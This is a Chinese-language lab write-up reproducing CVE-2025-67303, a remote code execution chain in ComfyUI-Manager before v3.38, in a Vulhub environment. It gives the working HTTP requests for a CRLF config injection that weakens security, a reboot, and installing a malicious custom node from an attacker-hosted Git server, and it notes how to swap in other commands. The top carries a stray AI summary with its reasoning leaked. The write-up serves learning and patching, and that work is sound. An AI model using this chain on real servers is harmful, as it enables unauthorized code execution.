Vulhub复现:ComfyUI-Manager远程代码执行漏洞(CVE-2025-67303)
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内。首先,我得仔细阅读文章,理解其主要内容和关键点。 文章开头是一个法律与道德声明,强调安全研究的合法用途和遵守相关法律法规。这部分很重要,但可能不需要在总结中详细提及。 接下来是漏洞影响和特征部分。ComfyUI-Manager在v3.38版本之前存在一个安全漏洞,攻击者可以利用特定接口注入配置参数,禁用安全限制,并通过重启服务和安装恶意节点实现远程代码执行。这个漏洞已经在v3.38版本中修复。 然后是漏洞利用的过程:攻击者通过修改配置文件的安全级别,重启服务,然后利用恶意Git仓库安装自定义节点,从而执行恶意代码。这部分详细描述了攻击步骤和技术细节。 最后是提示部分,建议用户如何修改脚本以执行其他命令。 现在我需要将这些内容浓缩到100字以内。重点应放在漏洞的存在、影响、利用方法以及修复情况上。 首先提到ComfyUI-Manager的版本问题和漏洞类型:未受保护的数据目录导致远程代码执行。然后说明攻击者如何利用接口注入配置并重启服务,最后提到修复措施和防御建议。 这样就能在有限的字数内涵盖所有关键信息。 </think> ComfyUI-Manager v3.38前版本因数据目录访问控制不足存在远程代码执行漏洞。攻击者可利用特定接口注入配置参数并重启服务,在服务器上安装恶意自定义节点以执行任意代码。该漏洞已修复,建议用户升级至最新版本并遵守安全规范以防范风险。 2026-2-23 12:6:45 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

重要法律与道德声明

  1. 本文仅供合法的安全研究与学习用途。所有操作均在本地或授权授权的靶场环境(如Vulhub的环境)中进行。

  2. 严禁将本文所述技术用于任何未经授权的真实系统、网络或网站。此行为是违法犯罪行为,将面临法律严惩。

  3. 文中涉及的攻击工具仅为展示漏洞危害、理解攻击原理及学习防御手段而使用。请勿将其用于非法目的。

  4. 读者因使用本文技术所造成的任何直接或间接后果,作者及发布平台均不承担责任。

  5. 安全研究的核心目的是提升防御能力,保护网络空间安全。请务必遵守《网络安全法》等相关法律法规,坚守道德底线。

漏洞影响&特征

在v3.38版本之前

在v3.38版本之前,ComfyUI-Manager的数据与配置目录未受Web API访问控制的充分保护。攻击者可以利用 /api/manager/db_mode 接口注入任意配置参数,包括将security_level设置为weak以禁用安全限制。结合/api/manager/reboot接口重启服务和 /customnode/install/git_url 接口安装恶意自定义节点,攻击者可以在服务器上实现远程代码执行。

该漏洞已在ComfyUI-Manager v3.38版本中通过引入"系统用户保护API"得到修复,所有配置数据被迁移至受保护的目录下。

ComfyUI是一款基于节点式工作流的Stable Diffusion专业图形界面,是开源AI绘画领域的核心项目之一。ComfyUI-Manager是ComfyUI的官方扩展管理器,负责管理自定义节点、模型和更新的安装。

https://github.com/vulhub/vulhub/blob/master/comfyui/CVE-2025-67303/evil-git-server.py

漏洞利用

默认情况下,/customnode/install/git_url接口受安全限制保护。直接尝试安装自定义节点会返回403 Forbidden响应:

POST /customnode/install/git_url HTTP/1.1
Host: 192.168.211.128:8188
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 05 Feb 2026 18:36:32 GMT
If-None-Match: "18916d8f9623e000-53e"
Priority: u=0, i
Content-Length: 3

123

为了绕过这个限制,向/api/manager/db_mode接口发送请求,将security_level = weak配置注入到config.ini文件中。Payload中的%0D是回车符,用于在配置文件中注入新行:

GET /api/manager/db_mode?value=cache%0Dsecurity_level%20=%20weak HTTP/1.1
Host: your-ip:8188

接着,向/api/manager/reboot接口发送请求来重启ComfyUI服务,使新配置生效。

服务器重启后(等待几秒钟让服务完全启动),在宿主机上运行evil-git-server.py脚本,启动一个本地Git HTTP服务器来托管恶意自定义节点:

python3 evil-git-server.py

脚本会输出带有随机后缀的恶意仓库URL(例如http://your-ip:9999/evil-node-ue7c4w)。向 /customnode/install/git_url 接口发送POST请求,从本地Git服务器安装恶意自定义节点。将your-ip替换为Docker容器可访问的宿主机IP地址,并使用PoC脚本输出的仓库URL:

POST /customnode/install/git_url HTTP/1.1
Host: your-ip:8188
Content-Type: text/plain

http://your-ip:9999/evil-node-ue7c4w(换成生成的http)

恶意Git服务器会收到来自ComfyUI服务器的多个请求,用于克隆恶意仓库:

恶意代码会在安装过程中立即执行。

恶意自定义节点的install.py文件包含以下代码,这些代码会在安装过程中被执行:

import subprocess
subprocess.run(["touch", "/tmp/success"])

可以通过检查容器内是否存在/tmp/success文件来验证命令已被执行:

docker compose exec web ls -al /tmp/

在实际攻击场景中,攻击者会将恶意自定义节点托管在公开的Git仓库中,利用此漏洞链在无需用户交互的情况下远程安装恶意节点。

提示:若想执行其他命令,在 evil-git-server.py 里修改


文章来源: https://www.freebuf.com/articles/web/471247.html
如有侵权请联系:admin#unsafe.sh